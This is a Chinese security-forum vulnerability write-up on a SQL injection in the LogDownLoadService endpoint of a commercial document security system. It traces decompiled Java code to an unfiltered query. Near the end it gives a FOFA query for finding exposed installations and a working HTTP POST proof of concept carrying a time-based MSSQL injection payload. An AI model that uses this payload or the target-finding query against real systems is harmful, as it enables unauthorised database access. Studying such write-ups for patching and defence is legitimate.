问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某通-LogDownLoadService-mssql-sql注入漏洞分析
漏洞分析
某通-LogDownLoadService-mssql-sql注入漏洞分析
某通-LogDownLoadService-mssql-sql注入漏洞分析 ------------------------------------- 一、漏洞简介 ------ 某通电子文档安全管理系统是一款综合性的数据智能安全产品,涵盖了透明加密、数据分类分级、访问控制等多项核心技术。该系统保护范围广泛,包括终端电脑、智能终端以及各类应用系统,能有效防止数据泄露,满足数据安全合规要求。在LogDownLoadService中因为重定向的参数可控导致了sql注入的形成 二、影响版本 ------ version<V5.6.3.152.179\_116511 三、漏洞分析原理 -------- 首先进入`WEB-INF`的`web.xml`中,`ctrl+f`搜索`LogDownLoadService` ![image-20240818094146467](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4beb1c994e900d353e0d1f335b84e10acaa15da0.png) `ctrl`点击进入该类中,发现该类继承了`HttpServlet`,那么我们就找其与前端交互的方法`service()` ![image-20240818094400082](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-c0e5c4bef78bac6a6102a157c7fd9a843494b116.png) **分析:** 对service方法进行分析,首先是接收请求中的command参数;判断`command`是否为空,若不为空判断`command`值为`downLoadLogFiles`还是为`delLogTask`,根据`command`的值的不同调用不同的方法 首先分析`delLogTask`方法,这是一个删除日志任务的方法 ![image-20240818094915055](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-540911ee3dde75a6407849028f7c8a69262f9fe7.png) **分析**: ```php protected void delLogTask(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { request.setCharacterEncoding("GBK");//对请求的内容进行gbk编码 response.setContentType("text/html; charset=GBK");//设置MIME类型 ReadProperties rp \= I18nUtil.getReadProperties(request.getSession());//获取session并且赋值给一个 ReadProperties对象 PrintWriter printWriter \= response.getWriter();//向HTTP响应的正文中写入文本。 String logTaskId \= request.getParameter("logTaskId");//从请求中获取logTaskId参数 if (logTaskId \== null) {//判断参数是否为空 logTaskId \= ""; } LogTaskDao logTaskDao \= new LogTaskDao();//创建一个LogTaskDao对象 LogTaskInfo logTaskInfo \= logTaskDao.findLogTaskById(logTaskId);//使用findLogTaskById方法查看logTaskId是否存在 if (logTaskInfo != null) {//如果logTaskInfo不为空就创建一个File对象 File file \= new File(LogTaskUtil.getLogFile(logTaskInfo.getLogFileName())); if (file.exists()) {//判断文件是否存在 LogTaskUtil.delFile(file);//删除文件 } } logTaskDao.delLogTask(logTaskId); printWriter.append(rp.getString("log.service.delete.success"));//向响应中写入内容 } } ``` 接着分析`downLogFile`方法 ![image-20240818110726759](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9cf1748dfc8a086f96e5dff556765072cca84a56.png) **分析:** ```php protected void downLoadLogFiles(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { //依次接收请求中的currPage、fromurl、logFileName参数 String currPage \= request.getParameter("currPage"); String fromurl \= request.getParameter("fromurl"); String logFileName \= request.getParameter("logFileName"); //接收session赋值给ReadProperties对象 ReadProperties rp \= I18nUtil.getReadProperties(request.getSession()); //对logFilename的取值进行判断 if (logFileName \== null) { logFileName \= ""; } else { logFileName \= new String(logFileName.getBytes("ISO\_8859\_1"), "GBK");//,将logFileName字符串按照ISO-8859-1(Latin-1)编码转换成字节序列,再将其转换为GBK编码的字符串 } String fileName \= LogTaskUtil.getLogFile(logFileName); String logName \= LogTaskUtil.getLogFileName(logFileName); if (fileName.indexOf("../") <= 0 && fileName.indexOf("..") <= 0) { //若fileName中不存在../或者..那么进行如下内容 //依次通过正则对configfilepath、newfilepath进行赋值 String configfilepath \= Constant.instance.LOGMANAGERPATH.replace("/", "").replace("\\\\", ""); String newfilepath \= fileName.replace("/", "").replace("\\\\", ""); if (fileName != null && newfilepath.indexOf(configfilepath) \>= 0 && fileName.indexOf("%") <= 0 && fileName.indexOf("CDocGuard Server") <= 0 && fileName.indexOf("CDocGuard%20Server") <= 0) { File file \= new File(fileName); boolean fileexists \= file.exists();//将file是否存在的返回值赋值给fileexists long flagftp \= 2L; String ftpNameString \= fileName.indexOf(":") != \-1 ? fileName.substring(4) : fileName;//若filename不存在:.那么就截取其下标为4一直到最后的字符串,反之就将整个字符串赋值给ftpNameString if (!fileexists) { flagftp \= service.downloadCheck(ftpNameString);//如果文件不存在,通过FTP下载文件 } if (fileexists) { LogTaskUtil.downFile(fileName, request, response, logName);//如果文件存在,则直接调用LogTaskUtil.downFile()方法下载文件。 } else if (flagftp \== 0L) {/ FTPClient ftpClient \= null; InputStream in \= null; OutputStream out \= response.getOutputStream(); try { String ftpIp \= FtpProxy.ADDRESS.split("\\\\|")\[0\]; ftpClient \= FTPUtil.getFTPClient(ftpIp, FtpProxy.USERNAME, FtpProxy.PASSWORD);//方法获取FTP客户端连接。 ftpClient.enterLocalPassiveMode(); ftpClient.setFileType(2);//设置传输类型为二进制 ftpClient.setRemoteVerificationEnabled(false); in \= ftpClient.retrieveFileStream(new String(ftpNameString.getBytes(this.encoding), "ISO8859-1"));//获取FTP文件的输入流 String userAgent \= request.getHeader("User-Agent");// FileOper.downFile(logName, in, userAgent, response);//将内容输入到对象response中 } catch (Exception var29) { Exception e \= var29; e.printStackTrace(); } finally { if (ftpClient != null && ftpClient.isConnected()) { try { ftpClient.disconnect(); } catch (IOException var28) { } } if (in != null) { in.close(); } } } else { //如果文件未找到 request.setAttribute("fileNotFindMessage", rp.getString("log.manager.failmessage"));//设置错误信息 request.getRequestDispatcher("/logManagement/" + fromurl + "?curpage=" + currPage).forward(request, response);//跳转到指定的url页面中,其中这个fromurl参数是我们可以控制的 } } } } ``` 这段代码在实现日志文件下载功能方面,涵盖了从本地和FTP服务器获取日志文件的逻辑。我们发现当指定的logFileName也就是后面的filename没有找到的时候就会进入到else语句中,进而导致重定向,并且重定向的参数是我们可以控制的 在`CDGServer3/user/dataSearch.jsp`中发现了有我们可以利用的点 ![image-20240818113847110](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ed95351a36fc1c53c584cabc2c20b8859ec0ca17.png) **分析:** ```php String pId \= request.getParameter("id");//获取请求的id值 ////依次创建了OrganiseStructModel对象、List列表、StringBuilder对象、OrganiseStructDao对象 OrganiseStructModel orgModel \= new OrganiseStructModel(); List<String\> stringList \= new ArrayList<String\>(); StringBuilder sb \= new StringBuilder("\["); OrganiseStructDao osd \= new OrganiseStructDao(); OrganiseStructInfo info \= orgModel.findById(pId);//调用findById查询pid的值将其赋值给OrganiseStructInfo对象 int count; String icon\=""; count \= osd.getChd(info.getOrganiseId());//获取查询结果的数目 boolean isLdap \= false; //判断是否是LDAP数组 if(info.getField01()!=null&&info.getField05().toLowerCase().contains("ldap")){ isLdap \= true; } //如何pId为0,那么就设置图表 if("0".equals(pId)){ info.setOrganiseName(rp.getString(info.getOrganiseName())); icon\="../tree/img/globe2.gif"; }else{ icon\="../tree/img/folder.png"; } //将从数据库中查询到的内容拼接到JSON字符串中 if(isLdap){ if(count\==0){ sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"("+rp.getString("zzry.yz")+")"+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:false,isEpd:false},"); }else{ sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"("+rp.getString("zzry.yz")+")"+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:true,isEpd:false},"); } }else{ if(count\==0){ sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:false,isEpd:false},"); }else{ sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:true,isEpd:false},"); } } String tmp \= sb.toString();//将sb的内容赋值给tmp tmp \= tmp.endsWith(",")?tmp.substring(0,tmp.length()\-1):tmp;//如果拼接的JSON字符串最后一个字符是逗号,将其移除。 tmp+="\]"; out.println(tmp); //输出最终结果 ``` 该代码就是在数据库中查询id值并将结果输出,那么我们就进入到`orgModel.findById`方法中查看是否有过滤 ![image-20240818115658020](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-fc916cb7d4be1343908a5f6d326e7fd3017f7308.png) **分析:** 在该方法中创建了一个`OrganiseStructInfo` 对象,并且调用了 `organiseStructDao`下的`findById`方法。 我们ctrl进入该方法 ![image-20240818115845817](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a15d731037745d89dbfb881a5b0b9775cd7ca46f.png) **分析:** 该方法直接将传过来的参数进行了sql语句的拼接,直接调用`getCommonResult`方法执行sql语句没有任何过滤,并将结果返回,这就造成了sql注入 那么我们就就可以通过重定向跳转到该页面进行sql注入 四、资产测绘 ------ fofa app="亿赛通-电子文档安全管理系统" ![image-20240818124920360](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ef23870dfd1d1a447ffa24a68e150b096e755f9f.png) 五、漏洞复现 ------ **poc** ```php POST /CDGServer3/logManagement/LogDownLoadService HTTP/1.1 Host: User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Content-Type: application/x-www-form-urlencoded command=downLoadLogFiles&currPage=1&fromurl=../user/dataSearch.jsp&logFileName=indsex.txt&id=-1';WAITFOR DELAY '0:0:6'-- ``` ![ce14e219173a23360dc1124d96861cd](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a552372e5e1ac5dbe63db6dd21fcb1bc373cf77b.png) 六、总结 ---- 该漏洞的形成的原因就是因为在LogDownLoadService中,当请求中的`logFileName`满足某一标准后可以进行url的重定向,并且重定向的参数是我们可以控制的,并且我们利用重定向跳转的页面中存在sql语句的执行并且参数可以控制没有任何过滤从而造成了漏洞形成
发表于 2024-08-29 11:00:00
阅读 ( 5565 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
xiao1star
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!